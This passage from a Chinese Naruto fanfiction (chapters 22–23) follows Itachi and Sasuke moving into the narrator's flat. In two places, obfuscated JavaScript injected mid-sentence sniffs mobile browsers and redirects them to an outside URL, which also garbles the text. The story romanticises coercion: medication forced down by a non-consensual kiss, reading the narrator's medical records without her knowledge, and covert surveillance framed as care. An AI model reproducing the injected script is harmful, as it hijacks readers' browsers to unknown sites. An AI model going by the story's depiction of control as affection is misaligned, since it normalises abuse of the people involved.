白皙到病态的手背上,隆起的青色筋络,像是蜿蜒趴在肌肤下的小蛇。 佐助冷淡地在一旁看着,事不关己。 眼底压抑着愤怒的火焰。 我有些头晕,手指情不自禁地颤抖。 心脏好难受。 汗水越来越多。 黏湿的,燥热的,憋闷的。 血管里仿佛流淌着黏稠滚烫的沥青。 佐助忽然握住我的小臂,将我拉到身后,身体挡住了鼬的目光。 我如释重负,大口呼吸。 “你也该适可而止了,鼬!”佐助冷冷地说,试图激怒鼬,“可悲又令人作呕的控制狂,看到了吗?你不能控制所有人,让每个人都按你的想法生活!” ……他在说什么? 无论他想表达什么,佐助失败了。 鼬的表情很平静,语气波澜不惊。 “佐助,我并不意外——你和鸣人有着深厚的友谊,小时候就一起分享冰棒和西瓜,长大了也能接受共享心爱之物。这一点,我也是一样的,哥哥对你的爱并不会逊色他人。” 鼬抬起眼睫,轻轻看了佐助一眼,淡淡道。 “你有鸣人这么好的朋友,佐助,身为你的兄长,我也不能失了礼节。之前不在这里也就算了,既然到了东京,那么我得挑个时间,去登门拜访,感谢鸣人对你和这孩子的照顾。” 完全是大家长的口吻。 鼬也想和鸣人做好朋友吗!鸣人人很好的,善良开朗又乐于助人,只要相处过就会和他做上好朋友的!之前外校来的我爱罗就和鸣人成为好朋友了呢! 果然到了木叶,就会想要交很多好朋友。我也是这样呢!我超懂的,我完全理解鼬的心情! 大家,都只是人很好的普通人而已吧,我乐观地想。 可惜听完之后,佐助脸色铁青,咬着牙一言不发,完全不理鼬了,气氛一直很僵硬。 我在两个制冷空调中间,苦巴巴地绞尽脑汁讲着笑话调节气氛,感觉自己命很苦。 待客的茶水冒着热气,我将买的和果子装在茶碟里,放在桌子上。 “请尝尝吧。”我硬着头皮说。 佐助冰冷的目光微妙地扫过两人份的点心,盯着我,冷冰冰地说:“我不喜欢甜食。” 鼬轻轻咬了一口最中,酥脆的饼干外壳发出咔嚓一声轻响。 “口味不错。”鼬淡淡道。 佐助冷笑了一声。 “……”我后背的冷汗更多了。 所幸佐助很快放过了我,视线慢慢移到鼬的脸上。 外面人多眼杂,到了安静的室内,他们终于可以聊聊之间多年的隔阂了。 佐助闭了闭眼,冷声道:“止水哥已经全部告诉我了。他说不希望我再对你有误解。” 鼬说:“嗯。” 两边都听过八卦的我夹在这两个人中间如坐针毡,汗如雨下。 佐助对兄长充满憎恨,几乎以此作为生存的意义。但鼬又有着不得不这么做的原因。 这世上最难处理的事情就是家事,作为局外人,我实在不好开口,也不认为自己有这个资格插嘴。肆意评价朋友人生原则的、站在道德高地的第三者视角也太傲慢刻薄了。 为了缓解尴尬,我只好埋着头疯狂喝茶,吧唧吧唧吃点心。 明明是摆出来待客用的,结果被我吃掉了大半。 很快,佐助打破沉默,冷冷道:“自从你不回家以后,妈妈的身体就一直不好。” 我恨不得把脑袋埋进茶碟里:真的好吗,真的要留我在这里听你们家的八卦吗?! 虽然我是蛮爱听八卦的啦,但是这样不会太尴尬了吗! 鼬注视着弟弟,平静地开口:“你成长了,佐助。” 用的是传统日式家庭中,十分常见的,成熟稳重长子对娇纵年轻末子的,半是严厉自持半是骄傲宽慰的语气。 这几乎点燃了强自忍耐的佐助的怒火。 他一拳捶在桌子上,茶碟弹起撞击桌面,把我吓了一跳。 我惊恐地看着他。 “你有什么资格这么说!”佐助怒吼道,眼中满是黑色的火焰,“你这个……你这个背叛了父亲,丢下了妈妈的混账!止水哥说这都是他的错,是他强迫你承担了本不应该承担的责任。哈哈,那么你就没有错了吗,哥哥?!为了你,父亲引咎辞职,妈妈思念成疾,我、我……为了逮捕你,拼命考入警视厅,结果,结果得来的却是这样一个答案!我的人生在你眼里就是一个笑话吗,鼬!!” 鼬喝了口茶,平静地将茶杯放下,顺手把呆滞的我嘴角的点心渣用指腹抹去。然后他把拇指放在淡得没有血色的嘴唇边,伸出鲜红的舌头,自然地舔了舔。 “你是我最重要的弟弟,佐助。”鼬说,“这一点从未改变。” 佐助盯着鼬,猛地意识到了什么。漆黑的眼瞳野兽般紧缩成一道瘆人的细线。 佐助忽然用力抓住我的手。 鼬平静地注视着我和佐助交叠的双手,漫不经心地低头抿了口茶。 “……”佐助一言不发,瞪着鼬,力气越来越大。 气氛在对峙中变得焦灼黏稠,某种不安的气息萦绕。 佐助的掌心潮乎乎的,满是冷汗,微微发着抖。 我有些诧异地看了佐助一眼。 “磨砺使剑锋芒,”鼬平静地说,神色明净如水,“你可以继续坚持你的理念。我也想看到你成长的极限,佐助。” “背负着你这样的罪孽?”佐助冷冷道。 当初宇智波鼬的事件所带来的后果并不只是时任警视总监的宇智波富岳的引咎辞职,身为他的胞弟,佐助考入警视厅的历程可谓是千难万险。原本这样的警察世家出身的孩子,长大后大多按部就班通过国家公务员考试,从警部补做起,往后的晋升比非职业组来得要快,最终的终点也更高。 但鼬的恶性事件导致佐助在这条路上走得十分艰难。职场上戴着有色眼镜注视他的人不在少数。他性情冰冷坚毅,目的明确,并不在乎。只是每一个怀疑的目光都会使他想起鼬。 “这一次我不会让你如愿以偿,鼬。”目光扫过鼬和我,佐助最终冷冷道。 “中午吃咖喱饭。”鼬淡淡道,他站起身,挽着袖子,随意道,“佐助,你也留下来。很久没尝过哥哥做的饭了吧。” 佐助阴沉沉地盯着鼬离开的背影,握紧拳头。 我掰开他的手指,掌心已经满是血痕。 “怎么这样用力啊……痛不痛?”我咕哝着,去翻出了小药箱,用碘酒消毒之后,贴上创可贴。 我抬起头,对上他乌沉沉的眼睛,被吓了一跳。 佐助盯着我,似乎想说什么。 “佐助?” 坚硬的拇指按着我柔软的眼眶,佐助皱起眉,不悦地质问:“比上次更严重了……你有几天没好好睡过了?” 他倾身靠近,看得更加仔细。 ……距离太近了。 能看见漆黑的虹膜边缘。 我听见鼬在厨房里喊我。 “有发绳吗?”他问。 “啊,有的!” 我跑来跑去,又找到发绳,去厨房里递给鼬。他已经挽好袖子,穿好围裙,微微俯下身,手掌拢着发丝,从我手里咬过发绳。 温凉的呼吸一触即离,鸦羽般浓密的睫毛在手背拂过。 手指上些微湿润的凉意。 黑发男子就这样嘴里叼着发绳,将脑后柔顺长发挽起,接着用发绳扎起。对我冷淡地道了声谢。 刚刚是不是……他的嘴唇碰到了我? 我在原地有些发愣。 “能帮我清洗这些食材吗?”他礼貌地问。 “当然可以!”我回过神,连忙说,“请尽管让我帮忙,鼬。” 水流哗啦啦落下,我绞尽脑汁想了些轻松的日常话题插科打诨,气氛终于变得没那么凝重。我在心里松了一口气。 鼬侧头看了我一眼,温和地说:“你真是个温柔的孩子。” “嗯?” “佐助只是在和我撒娇而已,我从前太溺爱他了,他难免有些孩子气。别担心,我们的家庭关系很健康,这次吓到你了?” ……那种程度也能算是末子娇纵的撒娇吗? 而且,“家庭关系健康”……? “那孩子小时候就很爱黏着我。或许是一母同胞,”鼬怀念般地说,“我们总会喜欢上相同的东西。但我是哥哥,哥哥礼让弟弟是应当的。佐助大概习惯了同我索取心爱之物,不过这次我会对他严厉一些。毕竟也不是小孩子了。” “鼬不打算和佐助和好吗?”我把洗干净的土豆放到沥水篮。 鼬侧过脸看了我一会儿,想了想,淡淡道:“和好?我和佐助并没有决裂,谈何和好。我们之间的关系并没有改变:我一直都在注视着他的成长,而佐助也在追逐着我的脚步。幼鹰要学会翱翔,第一步是摔下悬崖。纵容他在温室里按部就班地生存,遵循着父亲制定的未来道路,顺风顺水地成长,才是真正的伤害。” ……他这个人真的蛮恐怖的。 “是、是这样啊……” 的确,如果没有兄长的刺激。佐助也不会去找大蛇丸。 “但是,应该会有更温柔的做法吧?” “太温柔了就会吸引一些脏东西,”鼬说,锋利的刀刃刺入牛肉的肌理,精准地分割,平静道,“你对有些人就过分温柔了,以至于围在你身边的虫子有点太多了。对此,你应该很困扰吧?” “咦?” 鼬抬了下眼睫,爱怜地注视着我:“明明你是专一地爱着我的,却总是被这些外来的聒噪虫豸所骚扰。真是太可怜……祈求我吧,我会拯救你的。” 他的话是什么意思呢? “有什么能来帮忙的吗?”佐助说。 我转过身,佐助挽着袖子走过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111075|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我还以为他恨不得离鼬八丈远呢。 “帮忙把这些食材切成块吧,”我说,佐助手掌有伤口不能碰水,“大约是一口大小。拜托了!” 因为佐助负责接下来文化祭的安保工作,作为当天企业合作方展台负责人的我,和佐助短暂地聊了会儿当天的应急预案、现场秩序维护等工作。 鼬在旁边安静地听着。 大概是聊得太投入了,切洋葱的时候完全忘记做防护,眼泪啪嗒啪嗒落在了案板上。 “欸?”我愣住了。 一阵天旋地转,我迅速被人抱到了沙发上。冰毛巾盖在了眼睛上。 眼球火烧火燎地刺痛。 眼泪根本止不住,像坏掉的水龙头。 我被吓了一跳。 锅里还烧着东西,我还要站起身去查看。 有人握着我的手,把我按下去,跪在我面前,低沉地叹了口气:“你不要太勉强自己了。” 对讲机、镣铐和警棍相互敲击着,发出细碎窸窣的响动声。 是佐助的声音,他顿了顿,大概是没有安慰过人,有些艰难和生涩。 他慢慢地问:“药在哪里?” 受刺激而流出来的眼泪很快浸湿了毛巾,我沉默地呼吸着。 “我、我没有……”我嗫嚅着。 “在抽屉最里层。”鼬说。 他怎么知道的? 拉开抽屉的声音,打开药盒的声音。装着温水的玻璃杯和几粒药丸放在掌心。 “你多久没按疗程吃药了?”佐助问。 “根据记录来看,”鼬冷冷地说,“她根本没吃过。” 他翻我的病历!! “我没有……!”我的声音尖锐得不可思议,挥舞着手臂要站起来,被人死死按在沙发上,“我没有生病!” “如果你不愿意定期去看心理医生,”鼬平静地说,手掌很稳地压着我乱动的四肢,“至少要遵循医嘱吃药。” 下颌被捏了下,我吃痛张开嘴,凉凉的药丸丢在了舌苔上,在苦涩蔓延开之前。温热的水灌了进来。 佐助含着水吻住我,舌头伸进来,拇指强硬地掐着我的喉管,逼迫我做出吞咽的动作。 我呜咽着被迫吞下去。 嘴角溢出的清水被人舔掉了。 佐助喘息着松开我。 我揪紧袖子,低着头吧嗒吧嗒掉眼泪,洋葱的汁水太刺激了。 “这种情况有多久了?” “什么?” “焦虑、惊悸、失眠、恐慌、强迫症……一丁点风吹草动都能吓到你。”佐助低喘着,慢慢地说,语气逐渐笃定,他聪明得惊人,擅于捕捉蛛丝马迹,“我很早就想说了,你太过勉强自己了。是因为什么?工作太辛苦了?我见到你的时候,你总是在拼命工作,对自己苛刻到了不正常的地步,而且在极度害怕什么事发生。就像如果不这么努力,会有人立刻把你取而代之——” “我没有!”我尖锐地说,像被夺走鸡蛋的母鸡,“那是我的东西!是我的!!” 佐助任由我尖叫了一通,等我累了安静下来,才冷静道。 “我知道的,别害怕……什么都没发生。”他有些生涩地抚摸我的脊背,我小声抽噎起来。 “我没生病!”我控诉他,“你逼我吃药!” “嗯,”鼬淡淡地说,“都是佐助的错。” 佐助:“……” 佐助看了眼鼬,大概明白过来刺激的源头。 “是不是,”佐助说,“你太久没回去,想家里人了?” “我没有!” 我呜哇一声大哭出来。 佐助的手臂有些僵硬,他想了想,将我抱在怀里,轻轻拍着我的脊背,一下一下缓慢又不熟练地抚摸。 巡查上岗前的入职培训有心理学,要求他们学会如何安抚事件现场的受害人。 一条毯子,和一盒热牛奶。 如果没有这些,至少提供一个拥抱。 大概是吃了药,脑子里的思绪很迟钝,呆呆的,有些麻木。我不应该吃的,我早知道这会影响我的思路,我又做错事了,事情越来越糟了,我总是做错误的选择。我抱着双臂,蜷缩着安静地哭了会儿,小声地,乱七八糟地说着发泄的话。 “我想回家,”我喃喃道,“我想和妈妈在一起,去田里种菜,挖土豆,还有拔胡萝卜……远处的湖面上有蜻蜓飞过……” “嗯。” “我不想变成大人……工作好累好辛苦……我想回家……” “嗯。” “如果我负责的展台倒塌了怎么办,”我哭着说,手指不停地发抖,害怕得牙齿打颤,“那么多、那么多人死了,小孩子和老人都死了……都是我干的,全部都是我干的……” 鼬叹了口气,温和地说:“不是你,放轻松。” “我能做到吗?”我惊慌失措地说,“有人看到我了吗?” “嗯,我看到了。”佐助耐心地听着,蹩脚地安慰,“你已经很努力了,不用给自己太大压力。” 他顿了顿,低声道:“我在这里,你可以依赖我。” ……我可以吗? 毛巾被人拿下,鼬轻柔地在我红肿的眼睑上吻了一下。他的体温很低。 那双乌沉沉的眼睛仿佛能看透人的内心。 “你当然可以。”鼬平静地说,慢条斯理地将我汗湿的头发掖到耳后,“我就在这里,不用太焦虑。” 佐助将我抱在怀里,我焦虑颤抖到近乎抽搐,他收紧手臂让我安静下来,过大的力气令疼痛直达脑髓,骨头咔哒咔哒作响。 我几乎要被挤成裱花袋里的奶油。 好疼。 我长长地呻吟出声,浑身颤栗,从脊柱到大脑一阵阵麻痹。 疼痛令我感到“存在”。 他低声在我耳边说,宽大的手掌遮住我的眼睛:“太累的话,就睡一觉吧。” 这话语携带着梦境的香气,黑暗逐渐降临,我晕沉沉的。被人放在床上,盖上了被子。 窗帘拉了起来,静谧昏暗。 我哭了太久,口干舌燥,嘴唇起皮。有人轻轻碰了碰我的嘴角,喂我喝了一些温水。柔软而湿润,近乎一个吻。 脸上黏糊糊的眼泪和冷汗被人仔细地擦干净了。我模糊呓语了几句,翻了个身,蜷缩着睡了过去。 “药效起来了?” “起来了。” 停顿了下。 佐助沉声说:“我们到外面谈谈,鼬。” 23.第 23 章 23、 醒过来的时候已经是下午了。 坐在床上按着额头呆呆地坐了半天,才慢慢回忆起发生了什么。 情绪崩溃,控制不住泪腺的时候被朋友看到难免有些尴尬,但我心里却没什么感觉,平静又冷漠,就像看着别人的故事一样不为所动。我大脑放空了五分钟,床头柜上的水还是温热的,我喝了几口润润喉,这才打开门走出去。 鼬正在很自然地给窗台上的盆栽浇水,纤长浓密的眼睫毛在阳光下落着鸦羽般的阴影。苍白细腻的肌肤呈现出冷玉般清冷的质感。 盆栽是山茶花,已经有几朵开了。雪白层叠的花瓣轻盈柔软。这样美丽的花朵,只是看着心情就变得宁静祥和起来。 不过,我完全不记得自己有养过盆栽。平时工作太忙了,总是顾不上照料,之前养死过几盆多肉,伤心了几天,后面就没心情再尝试培育什么植物了。如果平时需要小动物治愈,我会带着猫条去学校里撸猫。最近学校里的小黑猫莫名其妙很黏我,每次去都喵喵呜呜地围过来,用湿漉漉的鼻子蹭来蹭去。 这种情况下,我应该不会再去买盆栽来养。 更何况是非常难呵护的白山茶。 但是,医生说,记忆力下降,乃至健忘也是正常的症状之一。 我没有看到佐助。 是不是在我睡着的时候兄弟俩吵架了? “那个,鼬,”我忍不住问,“佐助已经回去了吗?” “你醒了。”鼬拿着喷水壶望过来,淡淡道,“感觉怎么样?” 我看了鼬几秒钟,意识到他在问我。 “……脑袋有点木木的,”我扶着墙,感受着,慢慢地说,“反应很迟钝,要做什么,总要先想一会儿。” 好像套了一层厚重的壳,情感反馈模板被硬生生阻断了。 这就是为什么我不想吃药。 “佐助去收拾行李了。”鼬说。他走过来,扶着我在椅子上坐下,“很快就过来。” “睡了一觉以后,”我坐在椅子上,停顿了几秒钟,呆呆地看着鼬,说,“好像感觉好多了。” 心脏没有那么难受了。 他微凉的手指碰了碰我的脸颊,轻轻用指腹摩擦着。 我慢慢蹭了蹭他的掌心,闭上眼睛。有些疲倦。 他抱了抱我。 我闻到空气里飘着咖喱的味道,肚子开始饿起来。热好的咖喱饭端了出来,我慢吞吞地用勺子一口一口地吃,尝不出味道。刚吃到三分之一,佐助就拖着一个行李箱回来了。 他今日份的执勤大概交给了队友,身上换回了常服。清爽又干练。 我们三个人开始一起吃迟到的午餐。 碳水进入胃部,血液开始循环。炖煮得沙沙的土豆在舌尖一抿就化开了,咖喱的酱汁浓郁鲜香,鼬无论做什么都很美味呢。我逐渐找回了对身体的控制,能够慢慢回答问我的问题。 鼬问了我的年假。 宇智波集团的福利很好,我有很长的年假。 “那等手头的项目做完,一起回老家一趟。”鼬平静地说,“我也是时候备上礼物,见见你的父母了。” 佐助的勺子倏然碰到了碗,发出一声刺耳的剐蹭声。 鼬看了他一眼,淡淡道:“你也可以来。” 佐助没理他。 这两个人关系还是不太好啊。 我看了鼬一会儿,慢慢点了点头:“好啊……”爸爸妈妈会很高兴我带朋友回来看他们的,我慢慢地说,“我家那里没什么高楼大厦,都是些上了年头的老房子。到了秋天,田地里都是金灿灿的稻子,像金色的大海。风一吹,就哗啦啦地泛起金色的波浪。那景象很漂亮,鼬一定会喜欢的。” 在我到东京之前,乡下的生活节奏都缓慢而舒适。 大城市的生活节奏太快了。 好像绿油油的麦苗刚种下,人们就期待它抽芽发穗,明日便能收割。 这谈不上对与错,好与坏。各有各的原因。我只是需要时间来适应这样的生活。 吃完饭,我在沙发上坐了一会儿,恢复了点力气,手指碰到了什么硬硬的东西,拿起来一看,是鼬昨天在看的书。 我信手翻了几页,脑子里却一个字也没有进去。隔了会儿功夫,才意识到,这只是一本空白的笔记本。 他那时并没有在看书,那是在认真地注视着什么呢? 脑子转不过弯,太阳穴一抽一抽地疼痛,我撑着额头揉着眉心,看见佐助打开行李箱,正把他的个人物品放到家里。鼬要上去帮忙,被他冷淡地拒绝了。 换洗衣服放在衣帽柜。毛巾挂起来,牙杯挤一挤的话勉强也能放下三个人的,巴掌大的金属机械是剃须刀吗? 杂色一点点浸染入我的家中。放眼望去,整个家里好像多了很多陌生的东西。 空荡荡的房间逐渐被填满了。不如说有点塞得太满了。玄关整整齐齐摆着款式不同的三双鞋子,我的高跟鞋夹在中间。碗架上晾着三人份的碗具,桌子上摆着三种颜色的马克杯。家里到处是三个人的个人物品,最小巧的那个通常是我的。但另外两个也能奇异地融合进来,显得融洽无比。 是特地迁就了我的风格吗? 最后佐助从行李箱里拎出一只炸毛小黑猫,放在我膝盖上。 看起来完全是被强行绑架来的小黑猫,压着耳朵龇牙咧嘴,对佐助凶得直哈气,一闻到我的味道却放弃了挣扎,凄厉凶狠的喵呜声到了后半截,立刻变得黏糊糊软绵绵的。凶巴巴眯起来的竖瞳也变得圆溜溜的很可爱。 变脸好快。 鼬意味深长地瞥了一眼弟弟,挑了下眉。 佐助生硬地把脸别过去,没说话。 小猫十分亲人,主动用脑门顶着我的手背。 我愣愣地看了眼佐助,他的手臂上有很多道猫抓的红痕。我又低下头看了眼喵呜喵呜的谄媚小黑猫,把手放上去轻轻抚摸。 小猫咪就像没有骨头似的,兴奋地舔了舔我的手指,咕噜咕噜翻了个身,对我露出柔软脆弱的腹部。 我一边摸着小猫咪,一边问:“佐助也要住进来吗?” 奇怪,我愣了一下,我为什么要说“也”? 迟钝的脑子一时间转不过弯,我很快放弃了深入思考原因。 按照佐助的说法,我的状态太差了,他实在放心不下我(说到这里,他冷冷地盯着鼬),于是决定近距离监督。 是要“监督”谁呢? 我总觉得有什么地方不太对,但是想不出来。 佐助说:“房租和水电费我都会负担的。” 不,不是费用的问题。 “我工作的警署离这里很近,”佐助说,“通勤很方便。” 能够帮到朋友我还蛮高兴的。 但也应该不是距离的问题。 “床的话,也能睡下三个人。”鼬说。 我抱着猫咪,跟着鼬来到卧室。 我当初租的是一居室,家里只有一个卧室一张床,也没有客卧。 原来我的床是折叠床吗? 鼬把折进去的结构掰出来固定好,单人床一下就变得大了许多。 三个人睡太挤的问题就这样顺其自然地解决了。 原来是床太小的问题啊。是、是这样吗? 是不是有什么地方不太对劲? 手掌湿漉漉痒呼呼的,很快打断了我的思绪。 小黑猫用肉垫抱着我的手指,噗噜噗噜卖力地舔。 明明说想要成为“在朋友哭泣时递出肩膀和纸巾的人”,结果最终被给予帮助的人却是我自己。 我结结巴巴地道了谢。晚上的时候恢复了一些,和佐助一起打了游戏。戴着红帽子的卡通小人在两个人的合作下成功吃到了金币和蘑菇,弹出了“完美过关”的文字。这一关很难打过去,我之前一个人打了好久,有好几次终点前功亏一篑,气到哭着摔手柄。没想到有朋友帮忙会轻松这么多。我激动地放下手柄,用力抱了下佐助庆祝。 “终于通关了!”我兴奋地说,“这一关难度很高,网上有好多人说自己卡在了这关过不去,我之前也是!谢谢你帮我,佐助!” 鼬在小圆桌旁边喊我们去吃饭。 空气里有温暖的食物的香气。 晚风吹过帘幔,从高楼往下去,远方有熙熙攘攘彻夜不歇的灯火。 佐助看了我片刻,忽然用手掌盖住我的眼睛。 眼前黑暗下去了。 温热湿润的吐息擦过脸颊。 “你倒是对我的心脏温柔一点。”他低声抱怨着,“狡猾的女人。” 有什么泄愤似的,重重咬了下我的嘴角。 “报酬我就收下了。”他冷冷地说。 佐助有时候发脾气的契机让人捉摸不透。 我疑惑地摸着刺痛的嘴角,坐过去吃晚餐。 鼬的厨艺总是让人很期待。 作为长男,鼬在照顾人方面一向很细心,就连小猫咪的面前也摆了一碗小番茄……咦为什么会是小番茄?猫可以吃番茄当主食吗? 小黑猫吃得还蛮开心的,看起来很喜欢。 三秒钟后,我放弃了思考。 不知道今天是什么日子,好像要为了庆祝什么似的,晚餐做得很丰盛。 说是丰盛也不准确,因为并不是什么昂贵的食材。 往常在村子里,丰收的季节,家里就会这样庆祝。稻田里的小杂鱼炖煮在大锅里,咕嘟咕嘟冒着泡。炒菜不拘种类,田野里随处可见,都是时令蔬菜,因着新鲜格外鲜嫩多汁。 妈妈会把今年新收的稻子煮成第一锅米饭,把第一碗放在我的面前。 在蒙昧迷信的乡下,据说吃下第一碗新米,这一年就能够交到好运。通常只有被父母最关爱、寄予爱意的孩子,才能够吃到。 我从小到大,就是吃着这样的米饭长大,每天努力学习,考到了东京的。 到了东京之后,妈妈也会寄每年的新米给我。但无论我怎么煮,都煮不出从前的味道了。 桌子上的米饭蒸腾着热气,米粒晶莹剔透,饱满软糯。第一碗米饭是鼬自然地盛好,摆在我面前的。 旁边的筷子是从老家特地带过来的,小时候就一直在用的木筷。 小小的圆桌旁边,同样坐着三个人。 圆桌很小,所以坐得很拥挤,抬手就能碰到旁边人的胳膊。 不知道为什么,在远离家乡的东京,闻到了过去熟悉的味道。 莫名其妙的,眼眶有些发酸。我连忙用手背粗鲁地擦了几下。 因为等下要吃药,不能喝碳酸饮料。我的手边只放了健康的柚子茶。 鼬拉开白桃味汽水的拉环,倒进杯子里,气泡噼啵着,空气里飘着淡淡的白桃香气。 佐助则是直接拿着柠檬味汽水的易拉罐。 我记得他不喜欢甜食的? 还没来得及问,易拉罐和马克杯就碰到了一起,我连忙也抬起杯子,和他们俩轻轻碰在了一起。 “Cheers!”三个人异口同声。 我笑起来。 柚子茶甜甜的很好喝,清爽又甘甜。放下杯子的时候,才发现这两个人都直勾勾盯着我。 阴沉黏稠到了肌肤刺痛、后背发毛的程度。 我紧张地摸了摸脸颊,有些疑惑:“脸上沾到东西了吗?” 他们俩意味深长地对视了一眼,不约而同喝了口汽水。 “没有,”鼬优雅地放下杯子,淡淡道,“只是第一次看见你这样美丽的笑容,多少有些失神。如此宝贵的画面,应该要拍照留念,以便日后回顾才好,真可惜。虽说也安排了随时随地注视关注你的‘眼睛’,但角度或许不够完美……” 佐助冷冷地盯着他,露出嫌恶的表情:“少把你在‘晓’的陋习带到家里,鼬,你要监控一切吗?” 佐助也把这里称之为“家”了吗? “做哥哥的总是要考虑得比弟弟们周全,”鼬冷静地说,不为所动,“佐助,你也该成长了。对你的工作而言,事先收集足够的情报是相当有必要的。关键时刻,能够逆转整个案件的局面。” 前警部传授着工作经验。 佐助厌烦地冷哼一声,易拉罐在他的手指间发出被捏扁的声音。他本欲发作,倏然看了我一眼,又忍住脾气,咬着牙说:“我会去请教止水哥。” 鼬轻轻点了点头,拿起筷子。 阴郁焦灼的安静气氛里,窗外徘徊不去的红眼乌鸦,蓦地发出沙哑瘆人的鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149051|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。 下午的时候,我还看见鼬在喂这些乌鸦。 兄弟俩之间的隔阂依旧很深,但好像和之前又有些不太相同了。 晚睡前我本来想再看会儿专业书,或者迭代一下排练方案。 但是不知道怎么,身体懒洋洋的,浑有身细小的电流窜过,愉快又慵懒。明明没有喝碳酸饮料,却像是有气泡在心脏里摇摇晃晃地上浮,噼啵一声裂开。整个人轻飘飘的。 整个人都怠惰起来,不太想在休息日去努力了。 生活节奏和呼吸频率一起变得慢悠悠的。 鼬洗完碗,拿着书坐在我旁边读。时不时轻轻咳几声。 佐助在落地窗前,抱着双臂,面无表情地注视徘徊不去的乌鸦们。 佐助看起来蛮讨厌乌鸦的,周身的气息十分冷凝不悦。 大家都很悠闲的模样。 仿佛被这股懒散的氛围感染,我也变得想要休息放松起来。 我抱着小黑猫,把脸埋进猫肚子里吸了一会儿。 在我的脸颊接触到软绵绵的猫肚子的同一刻,佐助仿佛受了强烈的刺激一般,冷不丁踉跄了一下,差点撞到了落地窗,他捂着额头蓦地扭过头,表情微妙地瞪了我片刻。 我用力吸。柔软的、暖呼呼毛茸茸的猫肚子。 “咕噜咕噜咕噜——” 猫呼噜震天,小黑猫卖力地吐着猫舌头,拉长脖子,帮我梳理着头发。 “……” 鼬慢悠悠翻过一页书,眼都没抬。 佐助一言不发,忽然回房间去了。 他的脚步很僵硬,同手同脚。 明明什么有意义的事情也没干,只是摸摸小猫咪,和朋友聊聊天,时间就到了晚上。被赶去洗漱之后躺在床上睡觉。 也不知道是吃了药,还是心境平和,自从鼬来了之后。我就没有失眠过了。 今晚也一样睡了一个好觉。 一夜无梦,第二天早上,我满头大汗,浑身燥热地醒过来。终于明白令我热到惊醒的罪魁祸首是我被两个人挤在中间睡觉。 就算这两个人都是体温低还会冒寒气的制冷空调,挤在这么小的床上睡也还是太勉强了。睁开眼睛之前,我还以为自己被八爪鱼缠上了,吸盘紧紧吸着我的肌肤,完全甩不开。身体黏糊糊湿答答的,满是汗水,又热又挤。 而且,为什么我们三个会睡在一起? 我按着太阳穴,终于有什么迟来的东西,渐渐浮现在脑海。 脑子里很凌乱,像有无数根乱掉的线头缠在一起。 或许是常年重病缠身,鼬的睡眠一直很浅。几乎在我醒来的同时,他就也睁开了眼睛,慢慢坐起来,从身后抱着我,手臂自我的腋下穿过,将我的上半身压向他,自然地把下颌搁在我的肩膀上。 “早上好,”他波澜不惊地说,语气亲昵,泰然自若地在我侧脸轻轻吻了一下,“你今天醒得很早。” 语气熟稔,宛如我们已经同床共枕超过十年了般熟练自然。 我扭过头,眼神混乱地看了下长发披散,锁骨白皙精致的鼬,近距离注视这样美丽脆弱的五官,几乎让人有一瞬间呼吸困难。我又转过头,看了眼佐助。 他也醒了过来,但并没有坐起来,而是伸出手臂,搂住我的腰,在我的怀里蹭了蹭脸。 简直就像昨天在我膝盖上撒娇的小黑猫一样。 看起来还没睡醒,有些迷迷糊糊的。 兄弟二人有着相似又风格迥异的美貌,令人眼花缭乱,不知道眼睛要看哪里。 我的脑袋有些晕乎乎的。 “不对我说声早安吗?” “早、早安,鼬。”我脑子一片空白,本能地说,“佐助,早安。” “嗯。”佐助闷闷地回应了一声,“早。” 是不是有什么太快了? 好像跨越式地迈过了需要很漫长时间的进程。 如同点了游戏里的“跳过剧情”键一样,勇者刚出新手村,一身白板装就直面最终Boss大魔王。完全不知道中途发生了什么,只知道要开始打大魔王了。 我也是完全不知道发生了什么,目光呆滞,在鼬把我抱到洗漱台前后,只知道呆呆地张开嘴,伸开手臂,让他帮我刷牙换衣服。 等到换好常服坐在桌子上喝粥,我才猛地惊醒了。 不、不对吧。 中间的剧情为什么这么顺其自然地消失了?! 到底是怎么变成现在这种情况的?让我好好想一想…… “等下去看电影。”鼬忽然说。 “欸?” “昨天买食材时抽中的。” 我想起来了,的确有这么回事。 “等等,”我还是感觉不太对劲,努力思考着,“电影的事等下再说。鼬,那个,为什么你和佐助——” “还有一个小时就到兑换截止期限了。”鼬说。 什么?! 从这里去电影院少说要半个小时。要来不及了! 我立刻加快了吃早饭的速度,迅速吃完,整理好出门要用的东西。雄赳赳气昂昂地站在玄关换鞋子。 “等下是不是还要给佐助买张电影票?”我一边急匆匆穿鞋子,一边问。 鼬蹲下来,单膝跪地,对我说:“把脚给我。” 我有些疑惑地照做了。 他把我脚上穿好的高跟鞋脱下来,变戏法似的拿出一双我没见过的鞋子,给我换了双日常的平底鞋。 鼬的审美很好,这双鞋搭配今天的常服看起来很优雅。 我在地上踩了踩,鞋子很合脚,踩在地上的脚感很舒服。酸痛的脚踝也缓解了不少压力。 鼬站起身,顺手帮我把滑落的、险些吃进嘴里的发丝,理到肩膀后。又扶了我一把,帮我站稳。 他的动作自然得就像做过千万次。 我不好意思地道了句谢。 传统日式多子家庭里的长子,总是习惯于照顾弟弟妹妹。他们通常从小就被大人专注培育,耳濡目染,养成关注细节、掌控全局、承担责任的年上方性格。 